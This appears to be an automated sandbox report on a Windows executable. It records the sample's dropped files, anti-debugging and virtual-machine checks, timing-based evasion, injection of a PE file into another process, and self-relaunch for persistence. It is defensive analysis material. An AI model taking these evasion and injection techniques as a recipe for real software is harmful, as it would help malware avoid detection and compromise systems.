Code function: _malloc,_malloc,_wprintf,_free,GetAdaptersInfo,_free,_malloc,GetAdaptersInfo,_sprintf,_wprintf,_wprintf,_free,

4_2_0040E670

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmpDC32.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmpDC32.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\jones\AppData\Local\Temp\wctF86A.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\wctFF6F.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\jones\Local Settings\Temp\wct3D66.tmp.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\wctFF6F.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\jones\AppData\Local\Temp\wct3D66.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_1-1065

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_0-37464
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_4-45714

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe TID: 7440	Thread sleep time: -900000s >= -30000s
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe TID: 8044	Thread sleep count: 181 > 30

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Code function: 1_2_002E1718 GetSystemTimeAsFileTime followed by cmp: cmp dword ptr [ebp+08h], 02h and CTI: jne 002E1754h

1_2_002E1718

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Code function: 1_2_002E29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,	1_2_002E29E2
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe

Code function: 1_2_002E2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread,

1_2_002E2B8C

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Thread delayed: delay time: 900000

Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\	Jump to behavior

Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000010.00000002.1632498802.0000000000687000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000003.1710465056.0000000000742000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.0000000000742000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWY
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000013.00000002.1711173534.00000000006B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`ct%SystemRoot%\system32\mswsock.dll
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457696566.0000000000727000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}e
Source: DESKTOP-AGET0TR-20231005-1025.log.11.dr	Binary or memory string: 10/05/2023 10:25:27.527OFFICECL (0x1248)0x1d78Telemetry EventbiyhqMediumSendEvent {"EventName": "Office.System.SystemHealthMetadataDeviceConsolidated", "Flags": 33777031581908737, "InternalSequenceNumber": 551, "Time": "2023-10-05T08:25:17Z", "Rule": "120600.4", "AriaTenantToken": "cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521", "Contract": "Office.Legacy.Metadata", "Data.ProcTypeText": "x64", "Data.ProcessorCount": 2, "Data.NumProcShareSingleCore": 1, "Data.NumProcShareSingleCache": 1, "Data.NumProcPhysCores": 2, "Data.ProcSpeedMHz": 2000, "Data.IsLaptop": false, "Data.IsTablet": false, "Data.RamMB": 4096, "Data.PowerPlatformRole": 1, "Data.SysVolSizeMB": 50000, "Data.DeviceManufacturer": "VMWare, Inc.", "Data.DeviceModel": "VMware20,1", "Data.DigitizerInfo": 0, "Data.SusClientId": "097C77FB-5D5D-4868-860B-09F4E5B50A53", "Data.WindowsSqmMachineId": "92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A", "Data.ComputerSystemProductUuidHash": "2k95vZBsrGuqSEzSYN45u3KqFjE=", "Data.DeviceProcessorModel": "Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz", "Data.HasSpectreFix": true, "Data.BootDiskType": "SSD"}
Source: lgYdZ.exe, 00000001.00000002.1586955216.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000001.00000002.1586955216.0000000000F97000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000001.00000002.1586955216.0000000001006000.00000004.00000020.00020000.00000000.sdmp, lgYdZ.exe, 00000001.00000003.1417949075.0000000001006000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000003.1456164886.0000000000742000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457696566.0000000000742000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522373057.0000000000744000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.00000000006E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: lgYdZ.exe, 00000012.00000002.1831813285.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522373057.0000000000744000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000003.1522813556.0000000000744000.00000004.00000020.00020000.00000000.sdmp, FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 0000000B.00000002.2649045943.0000000000744000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG
Source: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe, 00000004.00000002.1457696566.00000000006E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	API call chain: ExitProcess graph end node	graph_0-37533
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	API call chain: ExitProcess graph end node	graph_1-1040
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	API call chain: ExitProcess graph end node	graph_4-45716

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_0220571C rdtsc

0_2_0220571C

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_00403CF9 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00403CF9

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_0042A57A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

4_2_0042A57A

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

0_2_00403015

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00500044 mov eax, dword ptr fs:[00000030h]	0_2_00500044
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022040A3 push dword ptr fs:[00000030h]	0_2_022040A3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_022A0042 push dword ptr fs:[00000030h]	0_2_022A0042
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_022FD0A3 push dword ptr fs:[00000030h]	6_2_022FD0A3
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 6_2_02390042 push dword ptr fs:[00000030h]	6_2_02390042
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_0216F0A3 push dword ptr fs:[00000030h]	7_2_0216F0A3
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 7_2_02210042 push dword ptr fs:[00000030h]	7_2_02210042

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_004278D5 GetProcessHeap,

4_2_004278D5

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00403CF9 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00403CF9
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_0040516D SetUnhandledExceptionFilter,	0_2_0040516D
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_00409738 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00409738
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 0_2_0040659C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0040659C
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004329EC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_004329EC
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: 4_2_004329BB SetUnhandledExceptionFilter,	4_2_004329BB

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_022A0110 VirtualAlloc,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,

0_2_022A0110

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Memory written: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Memory written: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Memory written: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Memory written: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Memory written: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe base: 400000 value starts with: 4D5A

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 4_2_00419F90 GetCurrentProcess,GetLastError,GetLastError,SetPriorityClass,GetLastError,GetModuleFileNameW,PathRemoveFileSpecW,GetCommandLineW,CommandLineToArgvW,lstrcpyW,lstrcmpW,lstrcmpW,lstrcpyW,lstrcpyW,lstrcmpW,lstrcmpW,GlobalFree,lstrcpyW,lstrcpyW,OpenProcess,WaitForSingleObject,CloseHandle,Sleep,GlobalFree,GetCurrentProcess,GetExitCodeProcess,TerminateProcess,CloseHandle,lstrcatW,GetVersion,lstrcpyW,lstrcatW,lstrcatW,_memset,ShellExecuteExW,CreateThread,lstrlenA,lstrcatW,_malloc,lstrcatW,_memset,lstrcatW,MultiByteToWideChar,lstrcatW,lstrlenW,CreateThread,WaitForSingleObject,CreateMutexA,CreateMutexA,lstrlenA,lstrcpyA,_memmove,_memmove,_memmove,GetUserNameW,GetMessageW,GetMessageW,DispatchMessageW,TranslateMessage,TranslateMessage,DispatchMessageW,GetMessageW,PostThreadMessageW,PeekMessageW,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,PostThreadMessageW,PeekMessageW,DispatchMessageW,PeekMessageW,WaitForSingleObject,CloseHandle,

4_2_00419F90

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe"	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Process created: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\lgYdZ.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\401a29f4.bat" "

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Code function: 0_2_022C80F6 cpuid

0_2_022C80F6

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: GetLocaleInfoA,	0_2_004098FB
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	0_2_022E0AB6
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__calloc_crt,___crtGetLocaleInfoA,__calloc_crt,_free,_free,__calloc_crt,_free,__invoke_watson,	0_2_022CC8B7
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: __calloc_crt,__malloc_crt,_free,__malloc_crt,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_free,_free,_free,_free,	0_2_022D394D
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	0_2_022D49EA
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	0_2_022D3F87
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: ___getlocaleinfo,__malloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,__calloc_crt,GetCPInfo,___crtLCMapStringA,___crtLCMapStringA,___crtGetStringTypeA,_free,_free,_free,_free,_free,_free,_free,_free,_free,	4_2_0043404A
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _LcidFromHexString,GetLocaleInfoW,_TestDefaultLanguage,	4_2_00438178
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _LocaleUpdate::_LocaleUpdate,__crtGetLocaleInfoA_stat,	4_2_00440116
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	4_2_004382A2
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,	4_2_0043834F
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Code function: _memset,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,___crtDownlevelLCIDToLocaleName,___crtDownlevelLCIDToLocaleName,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,__itow_s,	4_2_00438423
